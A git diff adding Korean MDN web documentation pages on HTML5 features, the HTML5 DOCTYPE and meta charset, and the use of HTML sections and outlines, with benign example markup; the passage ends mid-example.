+<p>{{Compat("html.global_attributes.class")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>모든 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>.</li>
+ <li>{{domxref("element.className")}}</li>
+ <li>{{domxref("element.classList")}}</li>
+</ul>
diff --git a/files/ko/web/html/html5/index.html b/files/ko/web/html/html5/index.html
new file mode 100644
index 0000000000..2d64ce56d6
--- /dev/null
+++ b/files/ko/web/html/html5/index.html
@@ -0,0 +1,122 @@
+---
+title: HTML5
+slug: Web/HTML/HTML5
+translation_of: Web/Guide/HTML/HTML5
+---
+<p><strong>HTML5</strong>는 HTML를 정의하는 표준화에 있어서의 최신 표준 명세입니다. <a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/multipage/" title="http://www.whatwg.org/specs/web-apps/current-work/multipage/">HTML5 명세</a>는 아직도 표준 지정이 완료되지 않았고 변경이 계속 진행 중입니다. 하지만, Mozilla 및 다른 웹 브라우저 벤더는 이미 사양 중  많은 부분에 대한 구현을 시작하고 있습니다. 여기에 링크 하고 있는 문서에서는 <a class="external" href="http://www.mozilla.com/en-US/firefox/" title="http://www.mozilla.com/en-US/firefox/">Firefox</a> 및 <a href="/ko/List_of_Mozilla-Based_Applications" title="ko/List of Mozilla-Based Applications">다른 많은 제품</a>으로 사용되어 있는 Mozilla의 <a href="/ko/Gecko" title="ko/Gecko">Gecko</a> 엔진에 있어서 이미 기술 지원되어 있는 HTML5의 기능에 대해 설명하고 있습니다. 각각의 기능을 기술 지원하고 있는 Gecko 버전 및 다른 브라우저 엔진에 대해서는 지정된 페이지를 참조해 주십시오.</p>
+
+<p>(<a href="/ko/HTML/HTML5/HTML5_Thematic_Classification" title="ko/HTML/HTML5/HTML5 Thematic Classification">HTML5의 문서에 대한 다른 분류</a>도 참고하세요.)</p>
+
+<h2 id="HTML5_소개">HTML5 소개</h2>
+
+<dl>
+ <dt><a href="/ko/HTML/HTML5/Introduction_to_HTML5" title="ko/HTML/Introduction to HTML5"><strong>HTML5의 소개</strong></a></dt>
+ <dd>이 문서에서는 웹 디자인이나 웹 애플리케이션으로 HTML5 이용 방법을 소개합니다.</dd>
+</dl>
+
+<h2 id="HTML5의_요소">HTML5의 요소</h2>
+
+<dl>
+ <dt><a href="/ko/HTML/HTML5/HTML5_Tags_List" title="ko/HTML/HTML5/HTML5 Tags List"><strong>HTML5 요소·태그의 목록</strong></a></dt>
+ <dd>현재 사양 초안에 근거한 HTML5 요소(태그)의 목록표입니다.</dd>
+ <dt><a href="/Ja/Using_HTML5_audio_and_video" title="ko/Using_audio_and_video_in_Firefox">오디오/비디오 사용하기</a></dt>
+ <dd>Firefox 3.5이상에서  HTML5의 {{ HTMLElement("audio") }} 요소와 {{ HTMLElement("video") }} 요소의 기술 지원이 추가되었습니다.</dd>
+ <dt><a href="/ko/HTML/Forms_in_HTML" title="ko/HTML/HTML5/Forms in HTML5">HTML5 웹 폼양식</a></dt>
+ <dd>HTML5에서는 웹 폼양식이 개선됩니다. {{ HTMLElement("input") }} 요소의 {{ htmlattrxref("type", "input") }} 속성에 새로운 값이나 새 요소인 {{ HTMLElement("output") }} 요소 등이 새롭게 추가되었습니다.</dd>
+ <dt><a href="/ko/Sections_and_outlines_of_an_HTML5_document" title="ko/Sections and Outlines of an HTML5 document">HTML5 섹션과 아웃라인</a></dt>
+ <dd>HTML5 에서는 아웃라인과 섹션에 관한 요소가 추가되었습니다.: {{ HTMLElement("section") }}, {{ HTMLElement("article") }}, {{ HTMLElement("nav") }}, {{ HTMLElement("header") }}, {{ HTMLElement("footer") }}, {{ HTMLElement("aside") }}, {{ HTMLElement("hgroup") }}.</dd>
+ <dt>{{ HTMLElement("mark") }} 요소</dt>
+ <dd>mark 요소는 텍스트중에서의 특별한<em> 관련성</em>을 강조시키기 위해서 이용합니다.</dd>
+ <dt>{{ HTMLElement("figure") }} 및 {{ HTMLElement("figcaption") }} 요소</dt>
+ <dd>주로 사용된 문장과 느슨하게 연결된, 최종 캡션을 수반한 도식이나 그림을 추가할 수 있습니다.</dd>
+</dl>
+
+<h3 id="Canvas_기술_지원">Canvas 기술 지원</h3>
+
+<dl>
+ <dt><a href="/ko/Canvas_tutorial" title="https://developer.mozilla.org/ko/Canvas_tutorial">Canvas 튜토리얼</a></dt>
+ <dd>새로운 요소인 {{ HTMLElement("canvas") }} 요소와 그것을 사용하여 Firefox에 그래프나 다른 객체를 재생 하는 방법에 대해 배웁니다.</dd>
+ <dt><a href="/ko/Drawing_text_using_a_canvas" title="ko/Drawing_text_using_a_canvas"><code>canvas</code> 요소의 HTML5 text API</a></dt>
+ <dd>{{ HTMLElement("canvas") }} 요소가 HTML5 text API를 기술 지원합니다.</dd>
+</dl>
+
+<h2 id="웹_애플리케이션_기능">웹 애플리케이션 기능</h2>
+
+<dl>
+ <dt><a href="/ko/HTML/Using_the_application_cache" title="ko/Offline_resources_in_Firefox">Firefox 오프 라인 자원</a></dt>
+ <dd>Firefox는 HTML5의 오프 라인 자원 사양을 완전하게 구현 및 지원하고 있습니다. 대다수 브라우저의 몇 가지 레벨로 오프 라인 자원을 기술 지원하고 있습니다.</dd>
+ <dt><a href="/ko/Online_and_offline_events" title="ko/Online_and_offline_events">Online 이벤트와 Offline 이벤트</a></dt>
+ <dd>Firefox 3은 WHATWG의 online 및 offline 이벤트를 기술 지원하고 있습니다. 이러한 이벤트는 애플리케이션이나 확장 기능에 현재 인터넷 접속 상태의 연결 여부를 확인할 수 있습니다.</dd>
+ <dt><a href="/ko/DOM/Storage" title="ko/DOM/Storage">WHATWG 클라이언트 사이드 세션 스토리지 및 영구 스토리지 (DOM Storage)</a></dt>
+ <dd>클라이언트 사이드 세션 스토리지와 영구 스토리지에 의하고 웹 애플리케이션이 구조화 데이터를 클라이언트 측에 저장할 수 있도록 합니다.</dd>
+ <dt><a href="/ko/HTML/Content_Editable" title="ko/HTML/Content Editable"><code>contentEditable</code> 속성： 웹 사이트 및 위키 편집 용이성</a></dt>
+ <dd>HTML5 에서는 <code>contentEditable</code> 속성이 표준화 되었습니다. 이 기능에 대해 살펴봅니다.</dd>
+ <dt><a href="/ko/Using_files_from_web_applications" title="ko/Using_files_from_web_applications">로컬 파일 사용하기</a></dt>
+ <dd>새로운 HTML5 File API 지원이 Gecko에 추가되었습니다. 이 API는 웹 애플리케이션이 사용자가 선택한 로컬 파일에 접근 하는 것을 가능하게 합니다. 이것에는 <a href="/ko/HTML/Element/Input#attr-type" title="ko/HTML/Element/input#attr-type"><strong>type</strong></a> 속성의 값에 <code>file</code>를 지정한 <code>{{ HTMLElement("input") }}</code> 요소에 새롭게 추가된 <a href="/ko/HTML/Element/Input#attr-multiple" title="ko/HTML/Element/input#attr-multiple"><strong>multiple</strong></a> 속성을 이용하는 것으로 복수 파일을 선택할 수 있게 되는 기술 지원가 포함되어 있습니다.</dd>
+</dl>
+
+<h2 id="DOM_주요_기능">DOM 주요 기능</h2>
+
+<dl>
+ <dt><a href="/ko/DOM/document.getElementsByClassName" title="ko/DOM/document.getElementsByClassName">getElementsByClassName</a></dt>
+ <dd>Document 및 Element 노드에 있어서의 <code>getElementsByClassName</code> 메소드가 지원되어 있습니다. 이러한 메소드를 이용하는 것으로 지정한 클래스 또는 지정한 클래스의 목록를 가지는 요소를 찾아낼 수 있습니다.</dd>
+ <dt><a href="/Ja/DragDrop/Drag_and_Drop" title="ko/DragDrop/Drag_and_Drop">드래그 앤 드롭</a></dt>
+ <dd>HTML5의 드래그앤 드롭 API는 웹 사이트간에 있어서의 아이템의 끌어오기 및 놓기 기능을 지원합니다. 또, 확장 기능이나 Mozilla 기반의 애플리케이션으로 사용할 수 있는 단순한 API 도 제공합니다.</dd>
+ <dt><a href="/ko/Focus_management_in_HTML" title="ko/Focus_management_in_HTML">HTML 내 포커스 관리</a></dt>
+ <dd>HTML5가 새로운 <code>activeElement</code> 속성과 <code>hasFocus</code> 속성이 지원되어 있습니다.</dd>
+ <dt><a href="/ko/Web-based_protocol_handlers" title="ko/Web-based_protocol_handlers">웹 기반 프로토콜 핸들러</a></dt>
+ <dd><code>navigator.registerProtocolHandler()</code>메소드를 사용하여, 웹 애플리케이션을 프로토콜 핸들러로서 등록할 수 있게 되었습니다.</dd>
+</dl>
+
+<h2 id="HTML_파서">HTML 파서</h2>
+
+<p>Gecko의 <a href="/ko/HTML/HTML5/HTML5_Parser" title="ko/HTML/HTML5/HTML5 parser">HTML5 표준 파서</a>(HTML 문서를  DOM으로 변환하는 엔진)는 2010 년 3 월에 기본적으로 사용됩니다(Gecko 1.9.2 / Firefox 3.6에 탑재되어 있는 시점의 HTML5 파서는 매우 불안정한 버전이며 실제 이용하는 것을 추천 하지 않습니다).{{ fx_minversion_inline(4.0) }}</p>
+
+<h2 id="추가_변경사항">추가 변경사항</h2>
+
+<ul>
+ <li>HTML 문서에 있어서의 <code>localName</code> 및 <code>namespaceURI</code>는 XML 문서 때와 같은 행동을 하게 되었습니다. 예를 들면, <code>localName</code>는 소문자를 돌려주어, HTML 요소의 <code>namespaceURI</code>는 <code>"<a class="external" href="http://www.w3.org/1999/xhtml" rel="external nofollow" title="http://www.w3.org/1999/xhtml">http://www.w3.org/1999/xhtml</a>"</code>를 돌려줍니다.</li>
+ <li>페이지 URI 문서 단편 식별자 ("#" (해시) 문자에서 후의 부분)가 변경되었을 때, 새로운 <code>hashchange</code> 이벤트가 페이지에 보내집니다. 자세한 것은 <code><a href="/ko/DOM/window.onhashchange" title="ko/DOM/window.onhashchange">window.onhashchange</a></code>를 참조해 주십시오.</li>
+ <li><code>class</code> 속성을 보다 간단하게 취급할 수 있도록 HTML5의 <code><a href="/ko/DOM/element.classList" title="ko/DOM/element.classList">element.classList</a></code>이 기술 지원되었습니다.</li>
+ <li>문서에 즉시 생성되는 이벤트에 응하는 <code><a href="/ko/DOM/document.onreadystatechange" title="ko/DOM/document.onreadystatechange">document.onreadystatechange</a></code>와 <code><a href="/ko/DOM/document.readyState" title="ko/DOM/document.readyState">document.readyState</a></code>가 기술 지원되었습니다.</li>
+ <li>표시에 관련하는 속성으로 지정한 색은 HTML5의 사양에 따라서 해석됩니다.</li>
+</ul>
+
+<h2 id="HTML5의_일부로서_포함된_기술">HTML5의 일부로서 포함된 기술</h2>
+
+<p>아래 기술들은 "HTML5"의 광의의 영역에 포함되어 있습니다만 W3C의 HTML5 사양에 없는 것들입니다.</p>
+
+<ul>
+ <li><a href="/ko/WebGL" title="ko/WebGL">WebGL</a></li>
+ <li><a href="/ko/DOM/FileReader" title="ko/DOM/FileReader">FileReader</a></li>
+ <li><a href="/ko/DOM/XMLHttpRequest" title="ko/XMLHttpRequest">XMLHttpRequest</a></li>
+ <li><a href="/ko/DOM/Locating_DOM_elements_using_selectors" title="ko/DOM/Locating DOM elements using selectors">querySelector(All)</a></li>
+ <li><a href="/Ja/Using_geolocation" title="ko/Using geolocation">Geolocation</a></li>
+ <li><a href="/ko/JavaScript/ECMAScript_5_support_in_Mozilla" title="ko/JavaScript/ECMAScript 5 support in Mozilla">ECMAScript5</a></li>
+ <li><a href="/ko/CSS/CSS3" title="CSS3">CSS3</a></li>
+ <li><a href="/ko/XBL2_specification_(external)" title="ko/XBL2 specification (external)">XBL2</a></li>
+ <li><a href="/ko/DOM/Using_web_workers" title="ko/Using web workers">Web Workers</a></li>
+ <li><a href="/ko/WebSockets" title="https://developer.mozilla.org/ko/WebSockets">Web Sockets</a></li>
+ <li>JavaScript의 고속화</li>
+</ul>
+
+<h2 id="관련_문서">관련 문서</h2>
+
+<p>웹 발자에게 영향이 있는 Firefox 출시 버전에 따른 변경점：</p>
+
+<ul>
+ <li><a href="/ko/Firefox_12_for_developers" title="Firefox 12 for developers">Firefox 12</a></li>
+ <li><a href="/ko/Firefox_11_for_developers" title="Firefox 11 for developers">Firefox 11</a></li>
+ <li><a href="/ko/Firefox_10_for_developers" title="Firefox 10 for developers">Firefox 10</a></li>
+ <li><a href="/ko/Firefox_9_for_developers" title="Firefox 9 for developers">Firefox 9</a></li>
+ <li><a href="/ko/Firefox_8_for_developers" title="Firefox 8 for developers">Firefox 8</a></li>
+ <li><a href="/ko/Firefox_7_for_developers" title="Firefox 7 for developers">Firefox 7</a></li>
+ <li><a href="/ko/Firefox_6_for_developers" title="Firefox 6 for developers">Firefox 6</a></li>
+ <li><a href="/ko/Firefox_5_for_developers" title="Firefox 5 for developers">Firefox 5</a></li>
+ <li><a href="/ko/Firefox_4_for_developers" rel="internal">Firefox 4 </a></li>
+ <li><a href="/ko/Firefox_3.6_for_developers" title="ko/Firefox 3.6 for developers">Firefox 3.6 </a></li>
+ <li><a href="/Ja/Firefox_3.5_for_developers" title="ko/Firefox 3.5 for developers">Firefox 3.5 </a></li>
+ <li><a href="/ko/Firefox_3_for_developers" title="ko/Firefox 3 for developers">Firefox 3 </a></li>
+ <li><a href="/ko/Firefox_2_for_developers" title="ko/Firefox 2 for developers">Firefox 2 </a></li>
+ <li><a href="/ko/Firefox_1.5_for_developers" title="ko/Firefox 1.5 for developers">Firefox 1.5</a></li>
+</ul>
diff --git a/files/ko/web/html/html5/introduction_to_html5/index.html b/files/ko/web/html/html5/introduction_to_html5/index.html
new file mode 100644
index 0000000000..8b9698dc53
--- /dev/null
+++ b/files/ko/web/html/html5/introduction_to_html5/index.html
@@ -0,0 +1,40 @@
+---
+title: HTML5 소개
+slug: Web/HTML/HTML5/Introduction_to_HTML5
+tags:
+  - HTML5
+  - 웹개발
+translation_of: Web/Guide/HTML/HTML5/Introduction_to_HTML5
+---
+<p><a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/" title="http://www.whatwg.org/specs/web-apps/current-work/">HTML5</a>는 HTML 표준의 가장 새로운 버전입니다. HTML5를 통해 리치 미디어의 기술 지원 뿐만이 아니라, 사용자 및 로컬 데이터를 웹 서버 사이에 보다 간편하면서도 효과적으로 교환할 수 있는 웹 애플리케이션을 개발하기 위한 확장 기술 지원를 제공하는 새로운 기능도 제공됩니다.</p>
+
+<p>HTML5는 아직 표준 제정 단계에 있기 때문에 현재 사양에 대한 변경이 있을 것입니다. 따라서 모든 브라우저에 HTML5 기능 모든 것이 기술 지원되어 있는 것은 아닙니다. 하지만, Gecko (그리고 이를 사용하는 Firefox)에는 훌륭하게 HTML5의 최초 단계 기술 지원이 포함되어 있어 새로운 기능에 대한 대처를 계속하고 있습니다. Gecko는 버전 1.8.1에서 HTML5의 기능을 기술 지원하기 시작했습니다. <a href="/ko/HTML/HTML5" title="ko/HTML/HTML5">HTML5의 메인 페이지</a>에 Gecko가 기술 지원하고 있는 HTML5기능 목록이 있습니다. 여러 브라우저의 기술 지원 상황의 상세한 정보에 대해서는 <a class="external" href="http://caniuse.com/#cats=HTML5" title="http://caniuse.com/#cats=HTML5">CanIUse</a> 웹 사이트를 참조해 주십시오.</p>
+
+<h2 id="HTML5_DOCTYPE">HTML5 DOCTYPE</h2>
+
+<p>HTML5의 DOCTYPE는 매우 간단합니다. HTML 콘텐트로 HTML5를 사용하는 것을 나타내려면 단순하게 아래와 같이 합니다：</p>
+
+<pre>&lt;!DOCTYPE html&gt;
+</pre>
+
+<p>이  DOCTYPE은 현재 HTML5를 기술 지원하고 있지 않는 브라우저조차, HTML의 호환성을 유지함과 동시에 HTML5의 규격 대로 기능이 지원되지 않더라도 신기능을 무시하는 것을 의미하는 표준 모드로 전환합니다.</p>
+
+<p>이것은 이전의 doctype들 보다 훨씬 간단하고 짧으며, 기억하기 쉽고, 다운로드 받아야 하는 바이트의 양을 줄여줍니다.</p>
+
+<h2 id="&lt;meta_charset>으로_문자셋_정의하기"><code>&lt;meta charset&gt;으로 문자셋 정의하기</code></h2>
+
+<p>보통 문서의 처음에는 사용된 문자셋을 정의합니다. 이전 버전의 HTML에서는 매우 복잡한 {{HTMLElement("meta")}} 엘리먼트를 통해서 문자셋을 정의했습니다. 이제는 이렇게 간단해졌습니다.</p>
+
+<pre class="brush:html; line-numbers  language-html"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>meta</span> <span class="attr-name token">charset</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>UTF-8<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span></code></pre>
+
+<p><code>이것을 {{HTMLElement("head") }} 뒤에 가져다 놓으세요. 몇몇 브라우저는 HTML에 기대했던것과 다른 문자셋이 정의되어 있으면 문서를 다시 해석합니다. 또한, 여러분이 현재 다른 문자셋을 사용하고 있다면 UTF-8로 여러분 웹 페이지의 문자셋을 변경하는것을 추천합니다. 이것이 여러 스크립트를 사용한 문서의 문자 처리를 단순화시켜줍니다.</code></p>
+
+<p><code>HTML5는 ASCII와 호환되며 적어도 8비트의 크기를 가지는 문자셋만을 지원합니다. 이렇게 함으로서 보안을 강화하고 특정형태의 공격을 방지할수 있습니다.</code></p>
+
+<h2 id="새로운_HTML5_해석기의_사용">새로운 HTML5 해석기의 사용</h2>
+
+<p>HTML5에서는 마크업의 의미를 분석하는 해석 룰이 더 정확하게 정의 되었습니다. HTML5가 나오기 전까지는 단지 유효한 마크업의 의미만 정의되었기 때문에 마크업에 작은 에러라도 있을 때 문서를 어떻게 해석해야 할지는 정의되지 않았습니다. 결국 모든 브라우저가 서로 다르게 작동했습니다. 이제는 그렇지 않습니다. 이제 마크업에 에러가 있을 때는 모든 호환 브라우저가 똑같이 반응해야 합니다.</p>
+
+<p>이 요구사항이 웹 개발자들의 삶을 꽤 편하게 해줍니다. 이제 모든 최신 브라우저가 HTML5의 해석 룰을 따르지만 HTML5-비호환 브라우저들도 여전히 사용되고 있습니다. 유효한 마크업을 사용하면 읽기 편하고 유지보수에 좋을 뿐 아니라, 여러 오래된 브라우저에서 호환되지 않을 가능성을 매우 줄여주기 때문에 이를 매우 추천합니다.</p>
+
+<p>걱정하지 마세요 — 여러분 웹사이트를 손 댈 필요는 없습니다 — 웹브라우저 개발자들이 여러분을 위해 모두 준비해놓았습니다!</p>
diff --git a/files/ko/web/html/html5_문서의_섹션과_윤곽/index.html b/files/ko/web/html/html5_문서의_섹션과_윤곽/index.html
new file mode 100644
index 0000000000..87cae41ebd
--- /dev/null
+++ b/files/ko/web/html/html5_문서의_섹션과_윤곽/index.html
@@ -0,0 +1,367 @@
+---
+title: HTML 구획과 개요 사용하기
+slug: Web/HTML/HTML5_문서의_섹션과_윤곽
+tags:
+  - HTML
+  - HTML5
+translation_of: Web/Guide/HTML/Using_HTML_sections_and_outlines
+---
+<div>{{HTMLSidebar}}</div>
+
+<div class="warning">
+<p><strong>중요</strong>: 개요 알고리즘은 W3C의 최종 명세에 포함된 적이 없고, 브라우저와 보조 기술 중 알고리즘을 구현한 경우도 없습니다. 따라서 <a href="https://html.spec.whatwg.org/multipage/sections.html#outline">개요</a> 알고리즘을 사용해 사용자에게 문서 구조를 나타내서는 <strong>안됩니다</strong>. 문서 작성자는 대신 제목 <a href="https://html.spec.whatwg.org/multipage/sections.html#rank">순위</a>(<a href="https://html.spec.whatwg.org/multipage/sections.html#the-h1-h2-h3-h4-h5-and-h6-elements">h1-h6</a>)를 사용해 문서 구조를 나타내는 것이 좋습니다.</p>
+</div>
+
+<p>HTML5 표준 명세서에서는 웹 개발자가 표준화된 의미론적 체계를 가지고 웹 문서의 구조를 표현할 수 있게 해주는 몇 개의 새로운 요소들을 선보였습니다. 이 문서에서는 이 새로운 요소들과 문서의 아웃라인을 의도한 대로 정의하는 법을 설명하고 있습니다.</p>
+
+<p>예를 들면 &lt;div&gt;는 콘텐츠에 대한 어떠한 내용도 포함하지 않지만, &lt;figcaption&gt;은 콘텐츠에 어떤 내용을 포함하고 있는지를 명확하게 포함합니다.</p>
+
+<p>새로운 의미론적 요소들은 HTML5에서 웹사이트의 내용을 구분하는 것을 향상시키기 위해 추가되었습니다. 개발자들은 표시된 목적 이외의 용도로 의미론적 요소를 사용하지 않도록 하는 것이 중요합니다.</p>
+
+<h2 id="HTML4에서의_문서_구조">HTML4에서의 문서 구조</h2>
+
+<p><span style="line-height: inherit;">문서의 구조, 즉 <code>&lt;body&gt;</code>와 <code>&lt;/body&gt;</code> 사이에 있는 것의 의미론적 구조는, 페이지 내용을 사용자에게 전달하는 데 중요한 토대가 됩니다.</span> HTML4에선 일종의 섹션과 그 하위 섹션으로 구분하는 개념을 써서 문서의 구조를 표현합니다. 섹션은 HTML 구획({{HTMLElement("div")}})요소와 함께 그 안에 있는 제목을 정의하는 HTML 제목 요소({{HTMLElement("h1")}}, {{HTMLElement("h2")}}, {{HTMLElement("h3")}}, {{HTMLElement("h4")}}, {{HTMLElement("h5")}}, 혹은 {{HTMLElement("h6")}})를 써서 정의됩니다. 이런 HTML 구획 요소와 HTML 제목 요소의 관계가 문서의 구조와 그 아웃라인을 결정짓게 됩니다.</p>
+
+<p>그래서 다음과 같은 마크업은:</p>
+
+<pre class="brush: xml">&lt;div class="section" id="forest-elephants"&gt;
+  &lt;h1&gt;둥근귀코끼리&lt;/h1&gt;
+  &lt;p&gt;이번 섹션에선, 잘 알려지지 않은 둥근귀코끼리에 대해 알아보겠습니다.
+  ...섹션 내용 진행 중...
+  &lt;div class="subsection" id="forest-habitat"&gt;
+    &lt;h2&gt;서식지&lt;/h2&gt;
+    &lt;p&gt;<span style="color: #323333; font-family: courier new;">둥근귀코끼리는 나무에 살지는 않고 나무들 사이에 그 서식지를 이루고 있습니다.</span>
+    ...하위 섹션 내용 진행 중...
+  &lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<p><span style="line-height: inherit;">다음과 같은 문서 아웃라인을 가지게 됩니다:</span></p>
+
+<pre>1. 둥근귀코끼리
+   1.1 서식지
+</pre>
+
+<p>새로운 섹션을 정의할 때 {{HTMLElement("div")}} 요소가 꼭 필요한 것은 아닙니다. 단순히 HTML 제목 요소만 있으면 새로운 섹션이 시작됨을 자동으로 암시해 줍니다. 그래서,</p>
+
+<pre class="brush: xml">&lt;h1&gt;둥근귀코끼리&lt;/h1&gt;
+&lt;p&gt;이번 섹션에선, 잘 알려지지 않은 둥근귀코끼리에 대해 알아보겠습니다.
+...섹션 내용 진행 중...
+&lt;h2&gt;서식지&lt;/h2&gt;
+&lt;p&gt;둥근귀<span style="color: #323333; font-family: courier new;">코끼리는 나무에 살지는 않고 나무들 사이에 그 서식지를 이루고 있습니다.</span>
+...하위 섹션 내용 진행 중...
+&lt;h2&gt;먹이&lt;/h2&gt;
+&lt;h1&gt;몽골 게르빌루스쥐&lt;/h1&gt;</pre>
+
+<p>앞의 문서는 다음과 같은 아웃라인을 가지게 됩니다:</p>
+
+<pre>1. 둥근귀코끼리
+   1.1 서식지
+   1.2 먹이
+2. 몽골 게르빌루스쥐
+</pre>
+
+<h2 id="HTML5에서_해결한_문제들">HTML5에서 해결한 문제들</h2>
+
+<p>HTML4에서의 문서 구조에 대한 정의와 여기에 내포된 암묵적인 문서 알고리듬은 매우 투박해서 다음과 같은 많은 문제점을 가지고 있습니다:</p>
+
+<ol>
+ <li>의미론적으로 섹션을 정의하는데 {{HTMLElement("div")}}을 사용하면, 특히나 <strong>class</strong> 속성에 어떠한 값도 지정하지 않았을 땐, 문서의 아웃라인을 파악하는 알고리듬을 자동화하는 <font color="#000000">것은 불가능합니다</font>("사용된 {{HTMLElement("div")}}이 문서 아웃라인에 포함되는가, 만약 포함된다면 섹션인가 아니면 하위 섹션인가?" 혹은 "오로지 스타일 목적으로만 쓰인 표상적인 {{HTMLElement("div")}}일 뿐인가?"). 바꾸어 말하면, HTML4 표준 명세서에는 무엇이 섹션이고 어떻게 그 범위를 구분 짓는지에 대해 매우 모호하게 정의해 놓았습니다. 문서의 윤곽을 자동으로 생성하는 작업은 매우 중요하며, 특히나 <a class="external" href="http://en.wikipedia.org/wiki/Assistive_technology" title="http://en.wikipedia.org/wiki/Assistive_technology">보조 장비에 사용되는 기술</a>에선 더욱 그러한데, 이를 이용해서 파악된 문서의 구조를 바탕으로 사용자에게 정보를 전달해 주게 된다는 것을 고려하면 그 중요성은 더욱 명확해집니다. HTML5에선 HTML 섹션 요소로 새롭게 {{HTMLElement("section")}} 요소를 도입하면서 문서 아웃라인 알고리듬에서 {{HTMLElement("div")}} 요소의 사용 필요성을 없애버렸습니다.</li>
+ <li>여러 문서를 하나로 합치는 일은 복잡하고 어려운 일입니다: 주 문서에 어떤 하위 문서를 추가할 때 원래 문서의 아웃라인을 온전히 보전하려면 HTML 제목 요소의 계급을 고쳐야만 하는 일이 생깁니다. HTML5에서 새로 소개된 섹션을 구분 짓는 요소들({{HTMLElement("article")}}, {{HTMLElement("section")}}, {{HTMLElement("nav")}} 그리?고 {{HTMLElement("aside")}})은, 내부에 포함된 제목 요소와 관계없이, 항상 그들이 속한 가장 가까운 상위 섹션의 바로 밑 하위 섹션으로 자리 잡게 되면서 이 문제를 해결하였습니다.</li>
+ <li>HTML4에선 모든 섹션이 문서 아웃라인에 영향을 주게 됩니다. 하지만 문서?가 언제나 그렇게 선형적이지만은 않지요. 문서에는 가령 광고 표시 문구를 담고 있는 구역이나 설명 문구를 담은 구획처럼 주 내용의 흐름에는 포함되진 않지만, 간접적으로 연관되는 정보를 가진 특별한 섹션이 포함될 수도 있습니다. HTML5에선 이렇게 문서의 주요 내용 윤곽에는 포함되지 않는 {{HTMLElement("aside")}} 요소가 소개되었습니다.</li>
+ <li>반복되는 얘기지만, HTML4에선 모든 섹션이 문서의 아웃라인에 포함되기 때문에 로고나 메뉴, 문서의 목차, 혹은 저작권 정보나 법률적 고지처럼 특정 문서가 아닌 사이트 전체와 관련된 정보를 포함하는 섹션을 표현할 수가 없었습니다. 이러한 목적으로, HTML5에서 다음과 같은 세 가지 특수 목적의 섹션 요소를 소개하였습니다: 예를 들어 콘텐츠의 목차처럼 링크들의 모음을 감싸줄 때 쓰는 {{HTMLElement("nav")}} 그리고 사이트와 관련된 정보 표시를 위한 {{HTMLElement("footer")}}와 {{HTMLElement("header")}}가 있습니다.</li>
+</ol>
+
+<p>좀 더 포괄적으로 말하면 HTML5에선 문서를 구획하고 이들에게 제목을 부여하는 방법이 좀 더 세밀해지면서, 문서의 아웃라인 파악이 좀 더 예측 가능해지고 덩달아 이를 이용한 브라우저를 통해서 사용자 경험도 향상됩니다.</p>
+
+<h2 id="HTML5_문서_아웃라인_알고리즘">HTML5 문서 아웃라인 알고리즘</h2>
+
+<p>HTML이 섹션과 문서 아웃라인을 다루는 방식에 기반한 알고리즘을 생각해 보겠습니다.</p>
+
+<h3 id="HTML5에서의_섹션_정의">HTML5에서의 섹션 정의</h3>
+
+<p>우선 {{HTMLElement("body")}} 요소 안에 배치된 콘텐츠는 모두 적어도 하나의 섹션 안에 포함되어 자리하게 됩니다. 그리고 HTML5에서 섹션은 서로 중첩되서 표시될 수도 있습니다. {{HTMLElement("body")}} 요소에 의해 정의된 주요 섹션을 제외하고, 모든 섹션은 명시적으로나 혹은 은연중 자동으로 구분되어 정의될 수 있습니다. 명시적으로 정의되는 섹션은 {{HTMLElement("body")}}, {{HTMLElement("section")}}, {{HTMLElement("article")}}, {{HTMLElement("aside")}}, {{HTMLElement("footer")}}, {{HTMLElement("header")}}, 그리고 {{HTMLElement("nav")}} 태그들 안에 포함된 콘텐츠입니다.</p>
+
+<div class="note">각 섹션은 자기들만의 제목 계층을 가질 수 있습니다. 그래서, 중첩된 섹션이라도 {{HTMLElement("h1")}} 제목을 가질 수 있습니다. <a href="/ko/docs/Web/HTML/HTML5_문서의_섹션과_윤곽#HTML5.EC.97.90.EC.84.9C_.EC.A0.9C.EB.AA.A9_.EC.A7.80.EC.A0.95.ED.95.98.EB.8A.94_.EB.B2.95" title="en-US/docs/Sections_and_Outlines_of_an_HTML5_document#Defining_Headings_in_HTML5">HTML5에서 제목 지정하는 법</a>을 보십시오.</div>
+
+<p>보기:</p>
+
+<pre class="brush:xml">&lt;section&gt;
+  &lt;h1&gt;둥근귀코끼리&lt;/h1&gt;
+  &lt;section&gt;
+    &lt;h1&gt;소개&lt;/h1&gt;
+    &lt;p&gt;이번 섹션에선, 잘 알려지지 않은 둥근귀코끼리에 관해 알아보겠습니다.&lt;/p&gt;
+  &lt;/section&gt;
+  &lt;section&gt;
+    &lt;h1&gt;서식지&lt;/h1&gt;
+    &lt;p&gt;둥근귀코끼리는 나무에 살지는 않고 나무들 사이에 그 서식지를 이루고 있습니다.&lt;/p&gt;
+  &lt;/section&gt;
+  &lt;aside&gt;
+    &lt;p&gt;광고 구역&lt;/p&gt;
+  &lt;/aside&gt;
+&lt;/section&gt;
+&lt;footer&gt;
+  &lt;p&gt;(c) 2013 회사 이름&lt;/p&gt;
+&lt;/footer&gt;</pre>
+
+<p>위에 있는 HTML 코드에선 가장 윗 단계에 두 개의 섹션이 정의되었습니다:</p>
+
+<pre><span style="color: red;">&lt;section&gt;
+  &lt;h1&gt;</span>둥근귀<span style="color: red;">코끼리&lt;/h1&gt;
+  &lt;section&gt;
+    &lt;h1&gt;소개&lt;/h1&gt;
+    &lt;p&gt;이번 섹션에선, 잘 알려지지 않은 </span>둥근귀<span style="color: red;">코끼리에 관해 알아보겠습니다.&lt;/p&gt;
+  &lt;/section&gt;
+  &lt;section&gt;
+    &lt;h1&gt;서식지&lt;/h1&gt;
+    &lt;p&gt;</span>둥근귀<span style="color: red;">코끼리는 나무에 살지는 않고 나무들 사이에 그 서식지를 이루고 있습니다.&lt;/p&gt;
+  &lt;/section&gt;
+  &lt;aside&gt;
+    &lt;p&gt;광고 구역&lt;/p&gt;
+  &lt;/aside&gt;
+&lt;/section&gt;</span>
+
+<span style="color: green;">&lt;footer&gt;
+  &lt;p&gt;(c) 2013 회사 이름?&lt;/p&gt;
+&lt;/footer&gt;</span></pre>
+
